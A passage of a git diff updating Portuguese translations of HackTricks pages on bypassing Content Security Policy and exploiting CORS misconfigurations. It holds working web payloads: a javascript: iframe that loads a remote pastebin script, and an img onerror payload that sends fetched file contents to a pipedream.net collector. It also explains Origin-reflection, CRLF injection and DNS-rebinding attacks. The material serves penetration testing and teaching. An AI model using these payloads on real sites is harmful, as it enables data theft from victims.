No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, por meio de **injeção de HTML**, **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seus **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\
|
||||
CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**:
|
||||
```html
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
|
||||
'unsafe-eval' 'strict-dynamic'
|
||||
|
@ -592,7 +607,7 @@ CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline
|
|||
```
|
||||
### Exfiltração de JS com Content-Security-Policy-Report-Only
|
||||
|
||||
Se você conseguir fazer o servidor responder com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele apontasse para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir do `Content-Security-Policy-Report-Only`.
|
||||
Se você conseguir fazer com que o servidor responda com o cabeçalho **`Content-Security-Policy-Report-Only`** com um **valor controlado por você** (talvez por causa de um CRLF), você poderia fazer com que ele aponte para o seu servidor e se você **envolver** o **conteúdo JS** que deseja exfiltrar com **`<script>`** e porque é altamente provável que `unsafe-inline` não seja permitido pelo CSP, isso irá **disparar um erro de CSP** e parte do script (contendo as informações sensíveis) será enviada para o servidor a partir do `Content-Security-Policy-Report-Only`.
|
||||
|
||||
Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||
|
||||
|
@ -600,7 +615,7 @@ Para um exemplo [**verifique este writeup de CTF**](https://github.com/maple3142
|
|||
```javascript
|
||||
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
|
||||
```
|
||||
### Vazamento de Informações com CSP e Iframe
|
||||
### Vazando Informações com CSP e Iframe
|
||||
|
||||
* Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP.
|
||||
* Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP.
|
||||
|
@ -612,7 +627,7 @@ Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secret
|
|||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa.
|
||||
|
||||
Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis.
|
||||
|
||||
|
@ -651,9 +666,9 @@ setTimeout(function() {
|
|||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
|
||||
}, 1000);
|
||||
```
|
||||
### ALGUNS + 'self' + wordpress
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte:
|
||||
SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, confira:
|
||||
|
||||
{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
|
||||
|
@ -661,12 +676,12 @@ ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um e
|
|||
|
||||
Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos).
|
||||
|
||||
Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Para mais informações sobre como realizar esse ataque, consulte [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
Um atacante pode abusar desse endpoint para **gerar um ataque SOME** contra o WordPress e **incorporá-lo** dentro de `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque SOME** através do **endpoint de callback** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\
|
||||
Para mais informações sobre como realizar esse ataque, confira [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## Bypasses de Exfiltração CSP
|
||||
## Bypasses de Exfiltração de CSP
|
||||
|
||||
Se houver um CSP estrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
Se houver um CSP restrito que não permita que você **interaja com servidores externos**, há algumas coisas que você sempre pode fazer para exfiltrar as informações.
|
||||
|
||||
### Localização
|
||||
|
||||
|
@ -769,10 +784,10 @@ Fique informado sobre os novos programas de recompensas por bugs lançados e atu
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,19 +6,19 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## O que é CORS?
|
||||
|
||||
Cross-Origin Resource Sharing (CORS) padrão **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** de fontes externas.
|
||||
Cross-Origin Resource Sharing (CORS) **permite que servidores definam quem pode acessar seus ativos** e **quais métodos de solicitação HTTP são permitidos** por fontes externas.
|
||||
|
||||
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`), e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
||||
Uma política de **mesma origem** exige que um **servidor solicitante** de um recurso e o servidor que hospeda o **recurso** compartilhem o mesmo protocolo (por exemplo, `http://`), nome de domínio (por exemplo, `internal-web.com`) e **porta** (por exemplo, 80). Sob essa política, apenas páginas da web do mesmo domínio e porta têm permissão para acessar os recursos.
|
||||
|
||||
A aplicação da política de mesma origem no contexto de `http://normal-website.com/example/example.html` é ilustrada da seguinte forma:
|
||||
|
||||
|
@ -26,10 +26,10 @@ A aplicação da política de mesma origem no contexto de `http://normal-website
|
|||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Sim: Esquema, domínio e porta idênticos |
|
||||
| `http://normal-website.com/example2/` | Sim: Esquema, domínio e porta idênticos |
|
||||
| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
|
||||
| `http://en.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: Porta diferente\* |
|
||||
| `https://normal-website.com/example/` | Não: Esquema e porta diferentes |
|
||||
| `http://en.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://www.normal-website.com/example/` | Não: Domínio diferente |
|
||||
| `http://normal-website.com:8080/example/` | Não: Porta diferente\* |
|
||||
|
||||
\*O Internet Explorer ignora o número da porta na aplicação da política de mesma origem, permitindo assim esse acesso.
|
||||
|
||||
|
@ -74,9 +74,9 @@ xhr.send('<person><name>Arun</name></person>');
|
|||
|
||||
### Compreensão das Solicitações de Pré-voo na Comunicação entre Domínios
|
||||
|
||||
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa além de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
||||
Ao iniciar uma solicitação entre domínios sob condições específicas, como usar um **método HTTP não padrão** (qualquer coisa diferente de HEAD, GET, POST), introduzir novos **cabeçalhos**, ou empregar um valor especial de **cabeçalho Content-Type**, pode ser necessária uma solicitação de pré-voo. Essa solicitação preliminar, utilizando o método **`OPTIONS`**, serve para informar o servidor sobre as intenções da futura solicitação entre origens, incluindo os métodos e cabeçalhos HTTP que pretende usar.
|
||||
|
||||
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos e cabeçalhos permitidos, e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
O protocolo de **Compartilhamento de Recursos de Origem Cruzada (CORS)** exige essa verificação de pré-voo para determinar a viabilidade da operação entre origens solicitada, verificando os métodos permitidos, cabeçalhos e a confiabilidade da origem. Para entender em detalhes quais condições contornam a necessidade de uma solicitação de pré-voo, consulte o guia abrangente fornecido pela [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
É crucial observar que a **ausência de uma solicitação de pré-voo não anula a necessidade de a resposta conter cabeçalhos de autorização**. Sem esses cabeçalhos, o navegador fica incapacitado em sua capacidade de processar a resposta da solicitação entre origens.
|
||||
|
||||
|
@ -100,9 +100,9 @@ Access-Control-Allow-Credentials: true
|
|||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: Este cabeçalho especifica quais cabeçalhos podem ser usados durante a solicitação real. É definido pelo servidor para indicar os cabeçalhos permitidos em solicitações do cliente.
|
||||
* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa o cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
||||
* **`Access-Control-Expose-Headers`**: Através deste cabeçalho, o servidor informa ao cliente sobre quais cabeçalhos podem ser expostos como parte da resposta, além dos cabeçalhos de resposta simples.
|
||||
* **`Access-Control-Max-Age`**: Este cabeçalho indica por quanto tempo os resultados de uma solicitação pré-voo podem ser armazenados em cache. O servidor define o tempo máximo, em segundos, que as informações retornadas por uma solicitação pré-voo podem ser reutilizadas.
|
||||
* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar o servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
||||
* **`Access-Control-Request-Headers`**: Usado em solicitações pré-voo, este cabeçalho é definido pelo cliente para informar ao servidor sobre quais cabeçalhos HTTP o cliente deseja usar na solicitação real.
|
||||
* **`Access-Control-Request-Method`**: Este cabeçalho, também usado em solicitações pré-voo, é definido pelo cliente para indicar qual método HTTP será usado na solicitação real.
|
||||
* **`Origin`**: Este cabeçalho é definido automaticamente pelo navegador e indica a origem da solicitação entre origens. É usado pelo servidor para avaliar se a solicitação recebida deve ser permitida ou negada com base na política CORS.
|
||||
|
||||
|
@ -128,20 +128,20 @@ Content-Length: 0
|
|||
{% hint style="warning" %}
|
||||
Note que o IP linux **0.0.0.0** funciona para **burlar** esses requisitos para acessar o localhost, pois esse endereço IP não é considerado "local".
|
||||
|
||||
Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto final local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
|
||||
Também é possível **burlar os requisitos da Rede Local** se você usar o **endereço IP público de um ponto de extremidade local** (como o IP público do roteador). Pois em várias ocasiões, mesmo se o **IP público** estiver sendo acessado, se for **da rede local**, o acesso será concedido.
|
||||
{% endhint %}
|
||||
|
||||
## Configurações incorretas exploráveis
|
||||
## Configurações mal configuradas exploráveis
|
||||
|
||||
Observou-se que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
|
||||
Foi observado que a definição de `Access-Control-Allow-Credentials` como **`true`** é um requisito para a maioria dos **ataques reais**. Essa configuração permite que o navegador envie credenciais e leia a resposta, aumentando a eficácia do ataque. Sem isso, o benefício de fazer com que um navegador emita uma solicitação em vez de fazê-lo por conta própria diminui, pois torna-se inviável aproveitar os cookies de um usuário.
|
||||
|
||||
### Exceção: Explorando a Localização da Rede como Autenticação
|
||||
|
||||
Existe uma exceção em que a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
|
||||
Existe uma exceção onde a localização da rede da vítima atua como uma forma de autenticação. Isso permite que o navegador da vítima seja usado como um proxy, contornando a autenticação baseada em IP para acessar aplicativos de intranet. Este método compartilha semelhanças de impacto com o DNS rebinding, mas é mais simples de explorar.
|
||||
|
||||
### Reflexão de `Origin` em `Access-Control-Allow-Origin`
|
||||
|
||||
O cenário do mundo real em que o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
|
||||
O cenário do mundo real onde o valor do cabeçalho `Origin` é refletido em `Access-Control-Allow-Origin` é teoricamente improvável devido às restrições de combinação desses cabeçalhos. No entanto, desenvolvedores que buscam habilitar o CORS para vários URLs podem gerar dinamicamente o cabeçalho `Access-Control-Allow-Origin` copiando o valor do cabeçalho `Origin`. Essa abordagem pode introduzir vulnerabilidades, especialmente quando um atacante utiliza um domínio com um nome projetado para parecer legítimo, enganando assim a lógica de validação.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
|
@ -188,7 +188,7 @@ Ao encontrar uma lista branca de domínios, é crucial testar oportunidades de b
|
|||
|
||||
### Bypasses Avançados de Expressão Regular
|
||||
|
||||
Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (.), e hífen (-), negligenciando outras possibilidades. Por exemplo, um nome de domínio criado para incluir caracteres interpretados de forma diferente por navegadores e padrões de regex pode contornar verificações de segurança. O tratamento de caracteres de subdomínio de sublinhado por Safari, Chrome e Firefox ilustra como tais discrepâncias podem ser exploradas para contornar a lógica de validação de domínio.
|
||||
Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (.), e hífen (-), negligenciando outras possibilidades. Por exemplo, um nome de domínio elaborado para incluir caracteres interpretados de forma diferente por navegadores e padrões de regex pode contornar verificações de segurança. O tratamento de caracteres de subdomínio de sublinhado por Safari, Chrome e Firefox ilustra como tais discrepâncias podem ser exploradas para contornar a lógica de validação de domínio.
|
||||
|
||||
**Para mais informações e configurações deste check de bypass:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **e** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||||
|
||||
|
@ -196,7 +196,7 @@ Padrões de regex geralmente se concentram em caracteres alfanuméricos, ponto (
|
|||
|
||||
### A partir de XSS dentro de um subdomínio
|
||||
|
||||
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
||||
Os desenvolvedores frequentemente implementam mecanismos defensivos para proteger contra a exploração de CORS, listando os domínios que têm permissão para solicitar informações. Apesar dessas precauções, a segurança do sistema não é infalível. A presença de um único subdomínio vulnerável dentro dos domínios da lista branca pode abrir a porta para a exploração de CORS por meio de outras vulnerabilidades, como XSS (Cross-Site Scripting).
|
||||
|
||||
Para ilustrar, considere o cenário em que um domínio, `requester.com`, está na lista branca para acessar recursos de outro domínio, `provider.com`. A configuração do lado do servidor pode se parecer com isso:
|
||||
```javascript
|
||||
|
@ -219,13 +219,13 @@ Considere a seguinte solicitação onde o cabeçalho `Origin` é manipulado:
|
|||
GET / HTTP/1.1
|
||||
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
O Internet Explorer e o Edge interpretam a resposta como:
|
||||
Internet Explorer e Edge interpretam a resposta como:
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Embora explorar diretamente essa vulnerabilidade fazendo com que um navegador da web envie um cabeçalho malformado não seja viável, uma solicitação elaborada pode ser gerada manualmente usando ferramentas como o Burp Suite. Este método poderia levar a um cache do lado do servidor salvando a resposta e inadvertidamente servindo-a para outros. A carga elaborada tem como objetivo alterar o conjunto de caracteres da página para UTF-7, uma codificação de caracteres frequentemente associada a vulnerabilidades XSS devido à sua capacidade de codificar caracteres de forma que possam ser executados como script em certos contextos.
|
||||
Embora explorar diretamente essa vulnerabilidade fazendo com que um navegador da web envie um cabeçalho malformado não seja viável, uma solicitação criada pode ser gerada manualmente usando ferramentas como o Burp Suite. Este método poderia levar a um cache do lado do servidor salvando a resposta e inadvertidamente servindo-a para outros. A carga criada tem como objetivo alterar o conjunto de caracteres da página para UTF-7, uma codificação de caracteres frequentemente associada a vulnerabilidades XSS devido à sua capacidade de codificar caracteres de forma que possam ser executados como script em certos contextos.
|
||||
|
||||
Para mais informações sobre vulnerabilidades XSS armazenadas, consulte [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
|
@ -237,7 +237,7 @@ Para mais informações sobre vulnerabilidades XSS armazenadas, consulte [PortSw
|
|||
|
||||
Neste cenário, uma instância de uma página da web refletindo o conteúdo de um cabeçalho HTTP personalizado sem codificação adequada é observada. Especificamente, a página da web reflete de volta o conteúdo incluído em um cabeçalho `X-User-id`, que poderia incluir JavaScript malicioso, conforme demonstrado pelo exemplo em que o cabeçalho contém uma tag de imagem SVG projetada para executar código JavaScript ao carregar.
|
||||
|
||||
As políticas de Compartilhamento de Recursos de Origem Cruzada (CORS) permitem o envio de cabeçalhos personalizados. No entanto, sem a resposta sendo renderizada diretamente pelo navegador devido a restrições do CORS, a utilidade de tal injeção pode parecer limitada. O ponto crítico surge ao considerar o comportamento de cache do navegador. Se o cabeçalho `Vary: Origin` não for especificado, torna-se possível que a resposta maliciosa seja armazenada em cache pelo navegador. Posteriormente, essa resposta em cache poderia ser renderizada diretamente ao navegar para a URL, contornando a necessidade de renderização direta na solicitação inicial. Esse mecanismo aprimora a confiabilidade do ataque ao aproveitar o cache do lado do cliente.
|
||||
As políticas de Compartilhamento de Recursos de Origem Cruzada (CORS) permitem o envio de cabeçalhos personalizados. No entanto, sem a resposta sendo renderizada diretamente pelo navegador devido a restrições do CORS, a utilidade de tal injeção pode parecer limitada. O ponto crítico surge ao considerar o comportamento de cache do navegador. Se o cabeçalho `Vary: Origin` não for especificado, torna-se possível que a resposta maliciosa seja armazenada em cache pelo navegador. Posteriormente, essa resposta em cache poderia ser renderizada diretamente ao navegar para a URL, contornando a necessidade de renderização direta na solicitação inicial. Esse mecanismo aprimora a confiabilidade do ataque aproveitando o cache do lado do cliente.
|
||||
|
||||
Para ilustrar esse ataque, é fornecido um exemplo de JavaScript, projetado para ser executado no ambiente de uma página da web, como através de um JSFiddle. Este script realiza uma ação simples: ele envia uma solicitação para uma URL especificada com um cabeçalho personalizado contendo o JavaScript malicioso. Após a conclusão bem-sucedida da solicitação, ele tenta navegar para a URL de destino, potencialmente acionando a execução do script injetado se a resposta tiver sido armazenada em cache sem o tratamento adequado do cabeçalho `Vary: Origin`.
|
||||
|
||||
|
@ -265,52 +265,52 @@ Para entender melhor e mitigar essa vulnerabilidade, você pode usar o plugin Bu
|
|||
|
||||
[**Leia mais sobre os diferentes tipos de XSSI e como explorá-los aqui.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Tente adicionar um **parâmetro de callback** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com `Content-Type: application/javascript`, o que irá contornar a política CORS.
|
||||
Tente adicionar um **parâmetro `callback`** na solicitação. Talvez a página tenha sido preparada para enviar os dados como JSONP. Nesse caso, a página enviará os dados de volta com `Content-Type: application/javascript`, o que irá contornar a política CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (229).png>)
|
||||
|
||||
### Bypass Fácil (inútil?)
|
||||
|
||||
Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicitando que uma aplicação web faça uma solicitação em seu nome e envie de volta a resposta. No entanto, nesse cenário, as credenciais da vítima final não serão enviadas, pois a solicitação é feita para um domínio diferente.
|
||||
Uma maneira de contornar a restrição `Access-Control-Allow-Origin` é solicitando que uma aplicação web faça uma solicitação em seu nome e envie a resposta de volta. No entanto, nesse cenário, as credenciais da vítima final não serão enviadas, pois a solicitação é feita para um domínio diferente.
|
||||
|
||||
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Esta ferramenta fornece um proxy que encaminha sua solicitação juntamente com seus cabeçalhos, enquanto também falsifica o cabeçalho de Origem para corresponder ao domínio solicitado. Isso contorna efetivamente a política CORS. Aqui está um exemplo de uso com XMLHttpRequest:
|
||||
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Esta ferramenta oferece uma abordagem alternativa para encaminhar solicitações. Em vez de passar sua solicitação como está, o servidor faz sua própria solicitação com os parâmetros especificados.
|
||||
|
||||
### Bypass Iframe + Popup
|
||||
|
||||
Você pode **contornar verificações CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na página a seguir:
|
||||
Você pode **contornar verificações CORS** como `e.origin === window.origin` **criando um iframe** e **a partir dele abrindo uma nova janela**. Mais informações na seguinte página:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Rebinding de DNS via TTL
|
||||
### Rebinding DNS via TTL
|
||||
|
||||
O rebinding de DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
|
||||
O rebinding DNS via TTL é uma técnica usada para contornar certas medidas de segurança manipulando registros DNS. Veja como funciona:
|
||||
|
||||
1. O atacante cria uma página da web e faz a vítima acessá-la.
|
||||
2. O atacante então altera o DNS (IP) de seu próprio domínio para apontar para a página da web da vítima.
|
||||
3. O navegador da vítima armazena em cache a resposta DNS, que pode ter um valor de TTL (Tempo de Vida) indicando por quanto tempo o registro DNS deve ser considerado válido.
|
||||
3. O navegador da vítima armazena em cache a resposta DNS, que pode ter um valor TTL (Tempo de Vida) indicando por quanto tempo o registro DNS deve ser considerado válido.
|
||||
4. Quando o TTL expira, o navegador da vítima faz uma nova solicitação DNS, permitindo que o atacante execute código JavaScript na página da vítima.
|
||||
5. Mantendo o controle sobre o IP da vítima, o atacante pode coletar informações da vítima sem enviar cookies para o servidor da vítima.
|
||||
|
||||
É importante observar que os navegadores possuem mecanismos de cache que podem impedir o abuso imediato dessa técnica, mesmo com valores de TTL baixos.
|
||||
|
||||
O rebinding de DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
|
||||
O rebinding DNS pode ser útil para contornar verificações explícitas de IP realizadas pela vítima ou para cenários em que um usuário ou bot permanece na mesma página por um período prolongado, permitindo que o cache expire.
|
||||
|
||||
Se você precisa de uma maneira rápida de abusar do rebinding de DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
Se você precisa de uma maneira rápida de abusar do rebinding DNS, você pode usar serviços como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
